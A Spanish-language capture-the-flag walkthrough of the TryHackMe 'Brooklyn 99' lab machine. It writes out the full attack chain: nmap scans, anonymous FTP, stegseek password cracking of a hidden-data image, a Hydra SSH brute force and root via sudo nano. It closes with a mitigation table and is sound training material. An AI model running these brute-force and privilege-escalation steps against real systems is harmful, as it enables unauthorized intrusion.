Brooklyn 99 - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Brooklyn 99 - TryHackMe Walkthrough
Bienvenido a mi writeup de la máquina Brooklyn 99 de TryHackMe. Una room muy educativa donde la estenografía juega un papel importante en la cadena de ataque.
Room: Brooklyn 99
Dificultad: Easy
OS: Linux
Objetivo: Capturar la flag de usuario y la flag de root
🎯 Información del Objetivo
IP Target: 10.114.174.114
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Empiezo verificando que la máquina está activa:
ping -c1 10.114.174.114-c1→ Envía solo 1 paquete ICMP y para
64 bytes from 10.114.174.114: icmp_seq=1 ttl=62 time=42.4 ms
Recibo respuesta. El TTL es 62, lo que indica que posiblemente estamos ante una máquina Linux (TTL nativo 64, decrementado por el salto de red).
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Hago un primer escaneo rápido para descubrir los puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.114.174.114-p-→ Escanea todos los 65535 puertos--open→ Muestra solo puertos abiertos-sS→ SYN scan (half-open)--min-rate 5000→ Mínimo 5000 paquetes por segundo-n→ Sin resolución DNS-Pn→ Sin ping previo
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http
Tengo tres puertos abiertos: FTP (21), SSH (22) e HTTP (80).
Con los puertos identificados, lanzo un escaneo de versiones:
nmap -p21,22,80 -sCV 10.114.174.114-sC→ Scripts NSE por defecto-sV→ Detección de versiones de los servicios
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29
Sabiendo los servicios y versiones, comienzo a enumerar.
📁 Fase 2: Enumeración
Enumeración FTP Anónimo
El nmap detecta que FTP permite conexión anónima. Accedo con credenciales Anonymous:
ftp 10.114.174.114Conectar a FTP como usuario anónimo (user: anonymous, pass: vacío)
Dentro del servidor FTP encuentro un archivo denominado note_to_jake.txt. Lo descargo:
get note_to_jake.txtContenido de la nota:
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
Interesante. Amy advierte a Jake de que su contraseña es muy débil. Anotamos este detalle para más adelante.
Además, ya tengo enumerado dos posibles usuarios.
Enumeración Web
Accedo a http://10.114.174.114:

La página tiene un mensaje de bienvenida y una imagen de fondo. Veo que el creador está orgulloso de su imagen de fondo responsive.
Reviso el código fuente HTML y encuentro un comentario interesante:
<!-- Have you ever heard of steganography? -->Un comentario sugiriendo estenografía. Esto no es casualidad.
Extracción de Estenografía
Descargo la imagen de fondo para investigarla:
wget http://10.114.174.114/brooklyn99.jpgPrimero intento herramientas convencionales como exiftool y strings, pero no encuentro nada útil.
Ahora pruebo con steghide para extraer archivos ocultos:
steghide extract -sf brooklyn99.jpgIntento extraer contenido sin contraseña
Sin contraseña no funciona. Voy a usar stegseek con wordlist:
stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txtAtaque de diccionario contra archivo estenografiado

Excelente. La herramienta encuentra algo usando la contraseña: admin
Se extrae un archivo note.txt. Su contenido es:
Holts Password:
fluffydog12@ninenineEnjoy!!
Perfecto. Tengo las credenciales del usuario Holt: holt:fluffydog12@ninenine
🚀 Fase 3: Explotación
Uso de credenciales obtenidas
Dado que tenemos credenciales para usuario Holt, intento usar las credeniales para entrar por SSH.
Credenciales inválidas. Pruebo misma contraseña para usuario Amy o Jake pero nada.
Quizás esta contraseña no me es util ahora mismo, pero sí mas adelante.
Ataque de Fuerza Bruta SSH contra Jake
Recordando la nota de Amy sobre la contraseña débil de Jake, intento un ataque de fuerza bruta con hydra:
hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.114.174.114 sshAtaque de diccionario contra SSH para usuario jake
De forma casi instantánea encuentro las credenciales:
[22][ssh] host: 10.114.174.114 login: jake password: 987654321
Credenciales obtenidas: jake:987654321
Acceso SSH
Me conecto por SSH como usuario Jake:
ssh jake@10.114.174.114Acceso obtenido como usuario jake. Enumero el directorio pero no encuentro nada interesante.
Cambio a Usuario Holt
Intento cambiar a usuario Holt con las credenciales encontradas en la imagen:
su holtIngreso la contraseña fluffydog12@ninenine y accedo correctamente como usuario holt.
🚩 Flag de Usuario
Busco el archivo de la flag de usuario:
cat /home/holt/user.txt🚩 Flag de usuario capturada!
⬆️ Fase 4: Escalada de Privilegios
Enumero los permisos de sudo para el usuario Holt:
sudo -lUser holt may run the following commands on brooklyn_nine_nine: (ALL) NOPASSWD: /bin/nano
Excelente. Holt puede ejecutar nano como root sin proporcionar contraseña.
Escalada con Nano
Consulto GTFOBins para obtener el método de escalada con nano. El procedimiento es:
- Ejecutar nano como root:
sudo /bin/nano- Dentro de nano, presionar
Ctrl+Rpara abrir lectura de archivos - Presionar
Ctrl+Xpara ejecutar comandos - Escribir
/bin/bashpara obtener shell
Ejecuto los pasos y obtengo una terminal como usuario root.
🚩 Flag de Root
Busco la flag de root:
cat /root/root.txt🚩 Flag de root capturada!
📊 Resumen
Cadena de Ataque
Nmap → FTP Anónimo + Nota de Amy → Estenografía en imagen → Credenciales Holt → Fuerza Bruta SSH Jake → SSH como Jake → Su Holt → Sudo Nano Exploit → Root
Puntos clave:
- El FTP anónimo proporcionó una pista sobre la debilidad de contraseña de Jake
- La estenografía fue la clave para obtener credenciales de Holt
- La contraseña débil de Jake fue vulnerable a diccionario
- Nano con permisos NOPASSWD permitió escalada directa a root
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y servicios
- ftp — Enumeración de FTP anónimo
- wget — Descarga de imagen web
- stegseek — Extracción de estenografía con diccionario
- hydra — Ataque de fuerza bruta SSH
- ssh — Acceso remoto
- nano — Escalada de privilegios con GTFOBins
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| FTP anónimo permitido | MEDIA | Desactivar acceso anónimo a FTP, o permitir solo acceso autenticado |
| Información Leak en FTP público | ALTA | No almacenar notas o secretos en el frontend |
| Estenografía en imagen HTML | MEDIA | No embeber credenciales en archivos cliente-side (imágenes, JS, etc.) |
| Contraseña débil de usuario Jake | ALTA | Implementar política de contraseñas fuertes; usar autenticación multi-factor |
| Credenciales en imagen estenografiada | ALTA | Nunca almacenar credenciales en archivos, usar gestores de secretos |
| Permisos Sudo NOPASSWD para nano | CRÍTICA | Restringir permisos sudo; evitar NOPASSWD en comandos interactivos |
⚠️ La escalada fue posible por un control de permisos sudo mal configurado. Usar GTFOBins para identificar vectores de escalada me ha ayudado mucho.
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.